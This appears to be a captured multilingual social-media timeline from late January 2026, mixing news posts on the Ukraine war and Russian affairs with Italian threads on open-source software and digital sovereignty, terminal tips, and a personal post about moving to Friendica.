We Are Now Getting Good Signals From Europe About Europeans’ Readiness to Step Up Pressure on the Aggressor – Address by President #Zelenskyy 27.01.2026
Extract It is crucial that this pressure targets, in particular, russia’s tanker fleet, the entire infrastructure of russian oil exports. This will greatly help all of us in Europe if russian revenues are cut even deeper.
Ukraine plans to sign a 20 point peace plan with the US, while Washington would sign a separate document with Russia, FM Andriy Sybiga said. He said Europe is involved in security guarantees, including foreign troops, but only with a US backstop. #Ukraine
Cloudflare just published a vibe coded blog post claiming they implemented Matrix on cloudflare workers. They didn't, their post and README is AI generated and the code doesn't do any of the core parts of matrix that make it secure and interoperable. Instead it's littered with 'TODO: Check authorisation' and similar
Eleanor Holmes Norton, 88, a civil rights advocate who represented Washington, D.C., in the House, had faced questions about her ability to serve another term.
Idiocracy is coming - Governo tramite intelligenza artificiale? L'amministrazione Trump prevede di redigere regolamenti utilizzando l'intelligenza artificiale
Il Dipartimento dei Trasporti, che sovrintende alla sicurezza di aerei, automobili e oleodotti, prevede di utilizzare Google Gemini per redigere nuove normative. "Non abbiamo bisogno della norma perfetta", dice il procuratore del Dipartimento dei Trasporti. "Vogliamo che sia sufficientemente buona".
The Transportation Department, which oversees the safety of airplanes, cars and pipelines, plans to use Google Gemini to draft new regulations. “We don’t need the perfect rule,” said DOT’s top lawyer. “We want good enough.”
trump è un manager, quale strumento migliore dì un LLM? Basta che caghi documenti (o contratti) a tempo e risorse zero, che importa cosa ci sia scritto, l'equilibrio e la giustizia non mi sembra siano mai stati i capisaldi della sua amministrazione
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
La Francia abbandonerà le piattaforme statunitensi Microsoft Teams e Zoom per una "piattaforma sovrana" a causa di problemi di sicurezza
La Francia sostituirà le piattaforme americane Microsoft Teams e Zoom con una propria piattaforma di videoconferenza sviluppata a livello nazionale, che sarà utilizzata in tutti i dipartimenti governativi entro il 2027, ha annunciato lunedì il Paese.
@redflegias il problema degli sviluppatori, in tempi di servitù digitale, è che la selezione lavorativa è avvenuta sui profili più adatti a gestire le piattaforme USA. L'inversione di tendenza sarà l'aspetto più difficile e costoso, ma costituirà un investimento utile e irrinunciabile per il futuro
@mau certo ma la Francia comunque é piena di sviluppatori come del resto la Germania il problema invece é da noi: troppe persone che hanno paura di sporcarsi le maniche o di mettersi in gioco per fare grandi cose ma @BoostMediaAPS serve a quello e dobbiamo spingere tutti per un’Italia libera da catene, qualunque esse siano 😉
@redflegias @mau @BoostMediaAPS sviluppatori e sistemisti che sono in grado di installare e gestire piattaforme alternative (che già esistono, in parte) ci sono. Il motivo per cui non hanno preso piede è il mercato, e la pigrizia/ingoranza dei clienti. E in alcuni casi anche la burocrazia e la legge.
@costafrancesco94 @mau @BoostMediaAPS io parlavo più non dei pochi che in Italia offrono servizi alternativi ma di altri che possono mettersi insieme e creare nuovi software. Sono buoni tutti a installare software open source ma a crearne uno da zero non ne sarei sicuro …..
@redflegias @mau @BoostMediaAPS se non c'è nessuno che te lo paga, non si inizia. Prova tu a raccogliere soldi in italia (sia lato burocratico, sia lato "chi te li da"). Sviluppatori open italiani importanti ci sono, ma contribuiscono a progetti esteri.
@costafrancesco94 @mau @BoostMediaAPS la burocrazia sicuramente non aiuta e nemmeno la raccolta di fondi ma noi di applicazioni ne abbiamo fatte alcune che rilasciamo disponibili anche su Ufficio Zero Linux...
se non c’è nessuno che te lo paga, non si inizia. Prova tu a raccogliere soldi in italia (sia lato burocratico, sia lato “chi te li da”). Sviluppatori open italiani importanti ci sono, ma contribuiscono a progetti esteri.
Eppure non sarebbe neanche troppo difficile: "sgravi fiscali e/o contributi statali o europei [qualcuno ha detto PNRR] ma solo se sviluppi software Open Source".
Fine.
Il punto, temo, è che alla base manca la cultura per capirne il valore, e questa assenza di cultura è poi quella che fa dire al mega-manager "mi metto con Micro$oft, così non mi lascerà mai a piedi, e poi a conti fatti costa anche meno, non devo avere sviluppatori in casa".
Ho conosciuto dirigenti che in cambio di un costo fisso e certo, imputabile alle passività (=servizi) sarebbero capaci di ipotecare persino la madre.
In sostanza, il FOSS viene percepito con zero valore e il software proprietario la soluzione a qualsiasi cosa, poco importa se non è nemmeno del nostro continente.
... mostra di più
se non c’è nessuno che te lo paga, non si inizia. Prova tu a raccogliere soldi in italia (sia lato burocratico, sia lato “chi te li da”). Sviluppatori open italiani importanti ci sono, ma contribuiscono a progetti esteri.
Eppure non sarebbe neanche troppo difficile: "sgravi fiscali e/o contributi statali o europei [qualcuno ha detto PNRR] ma solo se sviluppi software Open Source".
Fine.
Il punto, temo, è che alla base manca la cultura per capirne il valore, e questa assenza di cultura è poi quella che fa dire al mega-manager "mi metto con Micro$oft, così non mi lascerà mai a piedi, e poi a conti fatti costa anche meno, non devo avere sviluppatori in casa".
Ho conosciuto dirigenti che in cambio di un costo fisso e certo, imputabile alle passività (=servizi) sarebbero capaci di ipotecare persino la madre.
In sostanza, il FOSS viene percepito con zero valore e il software proprietario la soluzione a qualsiasi cosa, poco importa se non è nemmeno del nostro continente.
Finche non ribaltiamo questa frittata mentale, vedo poco futuro.
@ilsimoneviaggiatore @redflegias ahaha grasse risate 😂😂 se la mafia non tocca palla, qui non si muove una foglia. E per fare software open non servono gru e betoniere. (Sarebbe bello però)
Lato aziendale invece: quello è un problema, e oltre a quello l'utente medio. Nel 90% dei casi excel/word può benissimo essere rimpiazzato. Non parlo di chi usa macro o fa analisi finanziarie. Però appena lo proponi, sai bene cosa succede e come si scaldano gli animi solo perché cambi un icona a un pulsante.
@mau il Politecnico di Torino ci è riuscito. La tcnologia c'è, il problema è trovare (e pagare) le persone in grado di farlo partire e per gestirlo al meglio.
Ma una volta superato questo scoglio, le esternalità positivo sarebbero interessanti
@mtorchiano grazie per la precisazione. Questo dimostra che è sempre faticoso perseguire un obiettivo 100% software libero, ma mostra anche che il problema non è solo tecnico, ma è soprattutto legato a quanto sia possibile scalfire le policies interne
@Suoko L’aspetto dirimente è (per questo caso) riuscire a mantenere un’infrastruttura interna, il che non richiede solo hw e sw (€) ma anche human-ware. Che nella PA puoi assumere solo in corrispondenza di congiunzioni astrali e con stipendi poco attrattivi.
L’alternativa per le università è appoggiarsi a Cineca che ha una QoS non eccellente e non consente un buon controllo su feature ed evoluzione
> anche human-ware. Che nella PA puoi assumere solo
Sì ma la scelta di sistema non è assumere nella PA gli informatici, ma far lavorare per la PA quei fornitori che si avvalgono di veri informatici e non quelle aziende che chiamo "configuratori certificati di cloud USA". Queste aziende possono avvalersi di personale meno qualificato perché il know-how è tutto statunitense e in tal modo alterano il mercato del lavoro
alla statale di Milano avevano il server di mail self-hosted e nextcloud, e sono passati a microsoft, in un pacchettone che comprende mail, office, teams, e adesso ci infilano anche AI. Sempre piu' imbrigliati
L'Europa accelera sulla sovranità tecnologica per ridurre la dipendenza dalle Big Tech USA. Dai software open source al cloud sovrano: ecco i piani per l'UE.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
Сьогодні російські війська завдали удару по пасажирському поїзду сполученням "Чоп-Барвінкове" неподалік однієї з станцій Барвінківської громади Ізюмського району.
gerasimov Escalates Lies About Kupiansk, Claims Capture of Unreached Settlement
gerasimov, Chief of the russian General Staff, claimed that the settlement of Kupiansk-Vuzlovyi in Ukraine’s Kharkiv region had been captured, even though russian forces have not come close to the area.
Valery Gerasimov, Chief of Russian General Staff, falsely claimed that the settlement of Kupiansk-Vuzlovyi in Ukraine’s Kharkiv region had been captured.
@Maronno Winchester le analisi di Start Magazine sono sempre molto interessanti e puntuali, ma è evidente che la loro agenda è estremamente filoatlantista e antieuropea
President Zelensky said he discussed energy support, air defense, and diplomacy with UK Prime Minister Keir Starmer. He thanked Britain for concrete assistance and said talks in the UAE were constructive, with further dialogue planned this week. #Ukraine
Россиянку с ребенкомотказывалисьпускать в страну из-за нового закона
Российскую блогершу Алексу Прутову вместе с семимесячной дочерью Евой не хотели пускать в Россию после возвращения из отпуска в Казахстане. Об этом женщина рассказала в своем телеграм-канале.
В России с 20 января вступил в силу закон, который запретил несовершеннолетним выезжать из страны по свидетельству о рождении. Ранее родители могли вывезти своих детей без заграничного паспорта в Беларусь, Казахстан, Кыргызстан, а также частично признанные Абхазию и Южную Осетию.
Россиянку с ребенком отказывались пускать в страну из-за нового закона
Российскую блогершу Алексу Прутову вместе с семимесячной дочерью Евой не хотели пускать в Россию после возвращения из отпуска в Казахстане.
Савик Шустеробъяснилразницу между олигархами Путина и Ельцина
Российские олигархи, вероятно, недовольны политикой Владимира Путина, но делать они все равно ничего не собираются. Об этом на YouTube-канале украинского журналиста Дмитрия Гордона заявил телеведущий Савик Шустер.
По его мнению, европейские СМИ ошибочно полагают, что в Кремле формируется оппозиция из влиятельного окружения Путина. Так, публичные выступления миллиардера Олега Дерипаски о кризисном положении российской экономики не нужно воспринимать серьезно, ведь, как считает Шустер, ельцинские олигархи отличаются от путинских.
💬 "There is genuine interest from our partners in the negotiations with America and russia. Our teams are working actively – today, we worked with government officials and the President's Office team on a document regarding reconstruction.
I hope that our partners feel the same way about these tasks. Clear security guarantees for #Ukraine and all of Europe, absolutely clear commitments and opportunities for the reconstruction of Ukraine and, of course, real opportunities to end this war with dignity.
Now, no one in the world can have any doubts about what this war is, who started it, and why it is still going on. Everyone understands that this is russia's war. And russia also has a responsibility to end the war. Pressure must be put on russia.
We are now receiving positive signals from Europe regarding the willingness of Europeans to put more active pressure on the aggressor. It is very important that this pressure be directed, in particular, at russia's tanker fleet – at the entire infrastructure of russian oil exports.
It will greatly help all of us in Europe if russian revenues are cut even further. We are already seeing huge new problems for the aggressor with the federal budget, as well as with inflation and economic indicators.
russia has begun transporting civilian airline passengers on cargo aircraft, a move that experts say reflects the ongoing deterioration of the country’s civil aviation sector.
Жители Мурманска и Североморска столкнулись с блэкаутом. В регионе рухнули пять ЛЭП. Компания-монополист "Россети" списала все на погоду. Однако, пишет "Горизонтальная Россия", причина... mostra di più
Жители Мурманска и Североморска столкнулись с блэкаутом. В регионе рухнули пять ЛЭП. Компания-монополист "Россети" списала все на погоду. Однако, пишет "Горизонтальная Россия", причина – устаревшая инфраструктура. Более 80% распределительных сетей изношены, а их обновление затруднено из-за санкций
Госдума одобрила в первом чтении законопроект, расширяющий полномочия ФСБ по ограничению связи. Поправки в закон "О связи", внесенные в парламент в ноябре, предусматривают возможност... mostra di più
Госдума одобрила в первом чтении законопроект, расширяющий полномочия ФСБ по ограничению связи. Поправки в закон "О связи", внесенные в парламент в ноябре, предусматривают возможность отключения не только мобильной связи, но и стационарного интернета по требованию ФСБ. Операторы связи при этом освобождаются от материальной ответственности перед абонентами. "Законопроект направлен на регулирование отношений в области обеспечения безопасности по направлениям деятельности ФСБ России и...
Ситуация с бюджетом может подталкивать Путина к завершению войны. Reuters пишет, что нефтегазовые доходы России сократились вдвое. По информации "Коммерсанта", министр финансов предложил П... mostra di più
Ситуация с бюджетом может подталкивать Путина к завершению войны. Reuters пишет, что нефтегазовые доходы России сократились вдвое. По информации "Коммерсанта", министр финансов предложил Путину легализовать онлайн-казино. Российские военные нанесли удары по Украине, в Одессе ранены более 20 человек
Una scatola di cartone piena di un gran numero di moduli di memoria computer (schede RAM), con il testo "UNA SCOPOLA Piena di MEMORIE" stampato in letrasca bianca al centro in alto su uno sfondo nero. I moduli sono di vari colori, tra cui verde, nero, argento e blu, con alcuni dotati di etichette. Sono densamente impilati, sovrapposti l’uno all’altro, riempiendo completamente la scatola. La scatola è realizzata in cartone marrone con bordi visibili e un interno ruvido.
Fornito da @altbot, generato localmente e privatamente utilizzando Qwen3-Vl:30b
На территории археологического памятника Маратуса-1 полуострове Пелопонесс обнаружили деревянные орудия труда, изготовленные первобытными людьми, возрастом 430 тысяч лет
PepperBall guns, tasers and tear gas are among the weapons recently deployed against protesters in the US. In a new guide, Bellingcat weapons expert Trevor Ball details some of the “less-lethal” equipment federal agents have carried during the current immigration raids and how you can identify them. bellingcat.com/resources/2026/…
Tear gas and PepperBall guns are among the weapons ICE and Border Patrol agents have been seen with at nationwide raids and protests related to immigration.
Samsungобъявилацены на свой первый смартфон с тройным складным экраном
Компания Samsung огласила цены на первый в своей линейке моделей смартфон с тройным экраном. Galaxy Z TriFold будет стоить 2899 долларов в США, сообщает Bloomberg.
В продажу гаджет поступит уже 30 января. Журналисты отмечают, что цена нового смартфона значительно превышает стоимость других флагманских смартфонов на рынке. Например, Samsung Galaxy Z Fold 7, складывающийся одним движением вместо двух, стоит две тысячи долларов, как и Phone 17 Pro Max.
За последние три года в России увеличилось количество судебных решений по уголовным делам, в ходе расследования которых применялась конфискация имущества, сообщил ТАСС начальник Главного уголовно-судебного управления Генпрокуратуры Сергей Бажутов.
«Еще в 2023 году мы обратили внимание на то, что данная мера уголовно-правового характера исполняется не в полном объеме. Были приняты меры организационного характера, и за счет этого, в том числе обжалования судебных решений, которыми конфискация не применялась, мы смогли добиться роста применения конфискации с 11 тысяч до 31 тысяч судебных решений, по которым данная мера уголовно-правового характера применена», — заявил Бажутов.
В Испании начнется процедура легализации незадокументированных мигрантов
Правительство Испании объявило, чтомигрант:ки смогут подавать заявления на легализацию своего статуса в период с апреля по июнь 2026 года. Пресс-секретарка и министерка социального обеспечения, миграции и интеграции Эльма Саис пояснила, что внеочередная процедура легализации мигрантов, согласованная правительством с левой партией Podemos, позволит мигрант:кам узаконить свой статус, а власти рассмотрят все заявление в течение трех месяцев.
После одобрения заявлений мигрант:ки получают право работать «в любом секторе и в любом месте страны».
Что говорят в правительстве?
▪️ Правительство предполагает, что в рамках чрезвычайной программы легализации смогут охватить около 500 тысяч человек.
▪️ Среди требований — подача заявления на международную защиту или проживание в Испании не менее пяти месяцев (подтвержденное любым государственным или частным документом, или их комбинацией) до 31 декабря 2025 года.
«Мы каждый день видим реальное позитивное влияние миграции на нашу страну. Иностранцы составляют 14% зарегистрированных работников, что, несомненно, демонстрирует позитивный вклад миграции в общество в целом», — отмечает Саис.
Что говорят ультраправые?
▪️ Ультраправая испанская партия Vox объявила, что планирует обжаловать меры по легализации мигранто:к в Верховном суде страны и призавал немедленно приостановить этот процесс.
▪️ По мнению ультраправых, действия испанского правительства якобы «награждает людей за нелегальность», перегружает социальную инфраструктуру в Испании и угрожает «национальной идентичности» испан:ок.
▪️ Кроме того, представитель:ницы партии Vox заявил, что массовая легализация используется властью для изменения состава электората и сохранения политического контроля, а интересы граждан:ок Испании якобы уходят на второй план.
Сколько в Испании мигранто:к?
▪️ С 2017 года число незадокументированных мигранто:к в Испании увеличилось в восемь раз. К началу 2025 года в Испании проживало около 838 тысяч мигранто:к.
▪️ В целом за последние три года почти 400 тысяч из мигранто:к, которые приехали в Испани, были незадокументированны. В первую очередь на них направлены нынешние поправки к миграционному законодательству страны.
In onore di Sly Dunbar, batterista leggendario e architetto invisibile del groove che ci ha lasciati ieri, segnalo questo pezzo dove il suo tocco si sente nel ritmo e nella profondità: “Temporale” di Jovanotti. Oltre a Jova, ha suonato anche con Francesco de Gregori in "sotto le stelle del Messico a trapanar".
Provided to YouTube by Universal Music GroupTemporale · Jovanotti · Sly & RobbieSafari℗ 2008 Universal Music Italia SrlReleased on: 2008-01-18Producer: Miche...
🇳🇴 #Norway's parliament on Tuesday approved a $2 billion procurement plan for long-range artillery to boost the #NATO country's deterrence against #Russia in the Arctic, where the two nations share a border.
Ukraine and Poland have agreed to boost gas import capacity from Poland beginning in February 2026. Daily capacity will increase from 15.3 to 18.4 million cubic meters by the end of April, supporting heating supply and energy security. #Ukraine
In the Fawlty Towers there’s my favourite episodes “The Psychiatrists” with the famous phrase “we could make a whole conference on what we’ve seen here” (or something like that). One could also make a whole psychiatric conference based on the results of social polls conducted in #Russia - #GermanDer Spiegel interviewed Lev Gudkov, director of the “Levada Center” — public opinion research institute in Russia — about Russian attitudes after nearly four years of war.
So, 66% support the Abu Dhabi negotiations, while only 26% favor continuing the war — the lowest figure since 2022.
At the same time majority of Russians pin their hopes on Donald Trump and the U.S. to pressure #Ukraine to concessions because they believe the war will end only on Putin’s terms and that Ukraine will surrender.
Now, this o
... mostra di più
In the Fawlty Towers there’s my favourite episodes “The Psychiatrists” with the famous phrase “we could make a whole conference on what we’ve seen here” (or something like that). One could also make a whole psychiatric conference based on the results of social polls conducted in #Russia - #GermanDer Spiegel interviewed Lev Gudkov, director of the “Levada Center” — public opinion research institute in Russia — about Russian attitudes after nearly four years of war.
So, 66% support the Abu Dhabi negotiations, while only 26% favor continuing the war — the lowest figure since 2022.
At the same time majority of Russians pin their hopes on Donald Trump and the U.S. to pressure #Ukraine to concessions because they believe the war will end only on Putin’s terms and that Ukraine will surrender.
Now, this one could be a foundation of some Biblical parable - things are really bad for the Russians if they see Trump (!) as the saviour of their president, who, as a result of his own stupidity, has got himself into a total mess he can’t get out from himself… 😂
Please appreciate the poetry of this situation: a dull, aggressive braggart who proclaims himself king of the village, attacks his neighbour, who seems weak to him, but instead of a quick victory, he gets a fabulous beating and runs crying for help to the bipolar sheriff, whom he has alternately mocked and flattered.
From the other news, 70% Russians would approve halting the war now, yet 60% would not agree to withdrawing Russian troops, and 80% blame the U.S., 70% blame NATO but only 6–8% blame Russia itself. As I said, a whole psychiatric conference…🤦
Nach fast vier Jahren Krieg in der Ukraine untersucht der Moskauer Soziologe Lew Gudkow die Stimmung der Russen. Er sagt: Fast alle fühlten sich von Feinden umzingelt. Und der vom Kreml befeuerte Hass auf den Westen wächst.
СовЭкон повысил прогноз экспорта пшеницы из РФ в сезоне 25/26гг до 45,7 млн т, оценил экспорт 2026/27гг в 39,6 млн н ru.themoscowtimes.com/2026/01/… {2026-01-27 - 18:44:07}
Azerbaijan has sent another state backed shipment of electrical equipment to Ukraine, Azerbaijani media reported. The aid was organized by the Energy Ministry on orders of President Ilham Aliyev. Official data says aid since the war began totals $45 million. #Ukraine
14 European countries have announced that they are closing the Baltic Sea to russia’s so-called shadow fleet, according to a joint statement released by the UK government. The countries warned that tankers concealing their origin, by changing flags
14 European countries have announced that they are closing the Baltic Sea to Russia’s so-called shadow fleet, according to a joint statement released by the UK government.
Russian forces struck the Barvinkove-Lviv-Chop passenger train with Shahed type drones, according to preliminary information. The impacts hit near the locomotive and a passenger carriage. Two of the 291 passengers on board were injured and hospitalized. #Ukraine
Держпереворот в Китаї може статися з хвилини на хвилину: по всьому Пекіну фіксують велику кількість військової техніки, озброєні люди взяли під контроль історичне Заборонене місто... mostra di più
Держпереворот в Китаї може статися з хвилини на хвилину: по всьому Пекіну фіксують велику кількість військової техніки, озброєні люди взяли під контроль історичне Заборонене місто
Начальник російського генерального штабу Валерій Герасимов заявив про захоплення селища Куп’янськ-Вузловий у Харківській області, до якого навіть не підійшли росіяни.... mostra di più
Начальник російського генерального штабу Валерій Герасимов заявив про захоплення селища Куп’янськ-Вузловий у Харківській області, до якого навіть не підійшли росіяни.
27 янв (Рейтер) - Американские фондовые индексы S&P 500 и Nasdaq укрепляются во вторник: инвесторы анализируют ряд отчетов американских корпораций, ожидая результаты техгигантов Уолл-стрит.
In planning the construction of Auschwitz, the Germans assumed that the camp would eventually hold some 30,000 prisoners. As late as the beginning of 1941, t...
Ukrainian forces struck a Russian Tor M2 surface to air missile system near the settlement of Kacha in temporarily occupied Crimea during the night of January 27. #Ukraine
The death toll in Odesa has risen to three after an overnight strike on a residential area, local authorities said. Another 35 people were injured. An energy facility was also seriously damaged, and its restoration is expected to take significant time. #Ukraine
Se ogni tanto pensi di essere inadeguato ed incapace di svolgere il tuo lavoro, non ti preoccupare: anche i tuoi colleghi pensano che tu sia inadeguato ed incapace di svolgere il tuo lavoro.
Sono contrario agli agenti ICE in Italia in occasione dei giochi olimpici invernali. Ragion per cui non andrò ai giochi olimpici invernali e non li seguirò...
Revealed: Palantir deals with #UK government amount to at least £670m – including £15m contract with nuclear weapons agency
✍️ Carole Cadwalladr, Charlie Young and Max Colbert
EXCLUSIVE Nerve investigation finds #Trump ally Peter Thiel's surveillance firm has won at least 34 contracts, including management services for Britain's nuclear deterrent, with MPs warning of 'gaping vulnerability' as US president threatens Nato allies.
EXCLUSIVE Nerve investigation finds Trump ally Peter Thiel's surveillance firm has won at least 34 contracts, including management services for Britain's nuclear deterrent, with MPs warning of 'gaping vulnerability' as US president threatens Nato all…
Индия снизила поставки нефти из России на 28% из-за диверсификации поставщиков сырья. Об этом на энергетической конференции сообщил министр нефти и природного газа страны Хардип Сингх Пури.
В комментарии Bloomberg TV индийский чиновник рассказал, что поставки российской нефти в страну снизились с 1,8 миллионов баррелей в сутки до 1,3 миллиона баррелей и могут продолжить падение.
Онлифанс-модельрассказалао заработанных 100 миллионах и столкнулась с обвинениями во лжи Между двумя известными моделями OnlyFans произошел скандал. 21-летняя Софи Рейн рассказала подписчикам, что суммарно заработала на площадке около 100 миллионов долларов, однако другая модель Джамелиз Смит обвинила ее в фальсификациях. На это обратило внимание издание Where is the Buzz (WITB).
holod.media «Холод» — это независимое российское издание, запущенное в августе 2019 года. Связаться с нами: holod@holod.media Бот для связи в телеграме: @HotHolodBot Реклама и партнерство: ads@holod.media Поддержите нас: https://holod.help
Известный спортивный брендкупилакитайская компания
Китайская компания Anta Sports Products приобрела долю в 29,06% в известном немецком производителе спортивной обуви и одежды Puma, которая раньше принадлежала французской семье Пино, сообщает Reuters.
Агентство оценивает сумму сделки в полтора миллиарда евро. Приобретение этой доли позволило Anta стать крупнейшим акционером Puma, отмечает Reuters.
Электричество пропало 23 января на расстоянии примерно 7 км от Мурманска – из-за того, что после бури упали пять опор ЛЭП. Две опоры стояли с 1966 года, срок их эксплуатации давно закончился. Му... mostra di più
Электричество пропало 23 января на расстоянии примерно 7 км от Мурманска – из-за того, что после бури упали пять опор ЛЭП. Две опоры стояли с 1966 года, срок их эксплуатации давно закончился. Мурманск несколько дней сидел без света, школы отменили занятия. ЛЭП удалось восстановить только 27 января
В России бывшего премьер-министра Украины и лидера партии "Батькивщина" Юлию Тимошенко заочно арестовали по делу о военных "фейках" (пункты "в" и "д" части 2 статьи 207.3 УК). Об этом сообщает Генпр... mostra di più
В России бывшего премьер-министра Украины и лидера партии "Батькивщина" Юлию Тимошенко заочно арестовали по делу о военных "фейках" (пункты "в" и "д" части 2 статьи 207.3 УК). Об этом сообщает Генпрокуратура РФ. По версии следствия, Тимошенко, "руководствуясь мотивами политической, идеологической ненависти и вражды в отношении российских военнослужащих подготовила и разместила на своей странице в одной из социальных сетей публикацию, которая содержала заведомо ложные сведения о причастности...
Служба государственной безопасности (СГБ) Азербайджана сообщила о задержании трех граждан страны, готовивших теракт против посольства одного из иностранных государств в Баку. Дво... mostra di più
Служба государственной безопасности (СГБ) Азербайджана сообщила о задержании трех граждан страны, готовивших теракт против посольства одного из иностранных государств в Баку. Двое подозреваемых 2005 года рождения, один – 2000-го. Основанием для планируемого теракта, как утверждает СГБ, была религиозная вражда, а сами подозреваемые действовали в связке с группировкой "Вилаят Хорасан" – афганским крылом террористической группировки "Исламское государство". По сообщению спецслужбы,...
Электрокары впервыеобогналипо продажам бензиновые автомобили в ЕС
Продажи полностью электрических автомобилей в странах Европейского союза в декабре впервые превысили продажи бензиновых машин. Об этом пишет Reuters со ссылкой на Ассоциацию европейских автопроизводителей ACEA.
Регистрации электромобилей — то есть число новых машин, впервые поставленных на учет, — впервые превысили регистрации бензиновых автомобилей и на более широком европейском рынке, включающем Великобританию и Норвегию. В целом автомобильный рынок Европы растет уже шестой месяц подряд в годовом выражении.
Звезде «Эйфории»грозитнаказание за развешенное нижнее белье на знаке Hollywood
Американская актриса Сидни Суини, получившая широкую известность после выхода сериала «Эйфория», выложила в своем инстаграме видеозапись, на которой она вместе со съемочной группой едет к Голливудским холмам и развешивает на знаке Голливуда бюстгальтеры из своей новой линии нижнего белья Syrn.
Звезде «Эйфории» грозит наказание за развешенное нижнее белье на знаке Hollywood
Американская актриса Сидни Суини, получившая широкую известность после выхода сериала «Эйфория», выложила в своем инстаграме видеозапись, на которой она вместе со съемо…
Nobody should be using up arrows to get previous commands in a terminal or shell. You have to move your hand and its linear complexity in keystrokes. Use ctrl+p (for low n) or ctrl+r. Use a real shell or history manager (fish, fzf, atuin) for ctrl+r.
@fabrixxm Only for like a week. My first manager unplugged my mouse and unbound the arrow keys and escape key and told me to "figure it out" and it only took me a couple weeks.
@Mitchell Hashimoto It would took me a day to bring my mouse and keyboard and a week to tell the manager what to unplug from himself. Honestly. What kind of hellscape is this? "I find that 14" crt monitors are best for programmers, so from now on you are all forced to use 14" crts" "Blasting k-pop at ears-bleeding make me 10% faster at bash, so get used" "640K are enough for everybody!" (no, wait...)
I had a dream last night that Linux was renamed “systemdOS”. My reptilian brain seems to be too in touch with reality. Bring back the man eating snakes made out of rolls of insulation. At least that was tolerable.
Svchost.exe runs multiple services (loaded as DLLs) in a single process to save memory. Linux doesn't have anything like that.
Systemd is similar-ish to the Service Control Manager on Windows, although I'm vaguely under the impression that systemd was inspired not by that but by the macOS service manager launchd.
DISTURBANTE. 2 ore di racconto molto crudo sulle persone con disabilità nei primi 900. Culmine nel nazismo.
Sensitive content
Ausmerzen - vite indegne di essere vissute.
Due ore di racconto sullo sterminio delle persone con disabilità avvenuto PRIMA, durante, e DOPO i campi.
Questo è il mio contributo per la giornata della memoria. Anzi, non è mio, io lo porto solo in giro perché c'è su internet ma in tv lo hanno dato su la7 diversi anni fa poi non si è più sentito.
Anzi mi piacerebbe venisse caricato pure da altre parti, tipo peertube ma non mi intendo molto di diritti non so se può essere acquistato e redistribuito.
Per chi ha due ore di tempo. Io non ho la forza di aggiungere altro.
Marco PaoliniAusmerzenVite indegne di essere vissuteRacconto teatrale di Marco Paolinitesti di Marco Paolini, Mario Paolini, Michela Signori, Giovanni De Mar...
Per gli amici: scusate il post duplicato ma c'è stato un problema di visibilità/privacy
Ed eccomi qui nel mio ora unico account sul #Fediverso! (Beh diciamo per la parte di blogging-microblogging. Ovvio che mantengo PeerTube e Writefreely.)
Ebbene sì, ho chiuso l'account #Mastodon e mi sono spostato qui.
Ho importato i contatti che seguivo, avvisato i follower (tanti mi hanno seguito di qui, se manca ancora qualcuno mi affido al "caso" che ci farà reincontrare tra i meandri dei questo magico Universo tra boost, amici di amici e così via). Ho riguardato i post del 2025 e ho ricreato quello che mi interessava ricreare, ho rimesso da parte qualcuno tra i miei segnalibri. Tutto sommato non sono mai stato attacca
... mostra di più
Per gli amici: scusate il post duplicato ma c'è stato un problema di visibilità/privacy
Ed eccomi qui nel mio ora unico account sul #Fediverso! (Beh diciamo per la parte di blogging-microblogging. Ovvio che mantengo PeerTube e Writefreely.)
Ebbene sì, ho chiuso l'account #Mastodon e mi sono spostato qui.
Ho importato i contatti che seguivo, avvisato i follower (tanti mi hanno seguito di qui, se manca ancora qualcuno mi affido al "caso" che ci farà reincontrare tra i meandri dei questo magico Universo tra boost, amici di amici e così via). Ho riguardato i post del 2025 e ho ricreato quello che mi interessava ricreare, ho rimesso da parte qualcuno tra i miei segnalibri. Tutto sommato non sono mai stato attaccato al passato, conservo qualcosa e lascio andare il resto. La scorsa estate ho chiuso Gmail senza salvare una ventina d'anni di email (qualche amicizia se l'è un po' presa quando l'ha saputo... ma per me, se ci sei nel presente, ci sei, che altro serve?).
Comunque sono molto soddisfatto del mio nuovo setup. Sono riuscito a conservare al 90% le mie abitudini perché normalmente interagirò ancora tramite il mitico #Phanpy, che funziona alla grande anche con #Friendica anche se usa solo una parte delle sue API. Per i post veloci di tutti i giorni, le ricondivisioni e le interazioni è perfetto, snello, ben fatto, e molto, molto elegante. E per postare immagini è comodissimo (inserire immagini e alt-text nei post da Friendica è parecchio laborioso). Ho notato, dopo un po', che aveva qualche problema con il login da più dispositivi sulla stessa rete (quando mi loggavo su un nuovo device, l'altro si disconnetteva). Ho risolto utilizzando ben 5 istanze di Phanpy diverse, una per dispositivo! Potenza del software libero e della decentralizzazione! 😁😁😁
(Ho riprovato a usare #Raccoon, ma purtroppo ha ancora troppi problemi, quelli noti mesi fa non sono mai stati risolti e per me è inutilizzabile. Peccato, sarebbe un progetto con tante potenzialità, speriamo che lo sviluppo venga ripreso.)
Ho anche ritoccato un po' l'esperienza utente su Friendica, che userò direttamente se voglio scrivere post formattati, come questo (per esempio abilitando il markdown che mi semplifica un po' la sintassi). È stata un'occasione per studiare un po' meglio alcune delle caratteristiche di questa piattaforma così potente. Anche qui ci sarebbe bisogno di qualche intervento deciso! A partire da un editor di post un po' più moderno e funzionale.
Che dire, in ogni caso ora è tutto meno dispersivo e non avrò bisogno di ricordarmi dove avevo salvato un segnalibro o da che parte avevo un contatto. Avanti per un nuovo anno nel Fediverso!
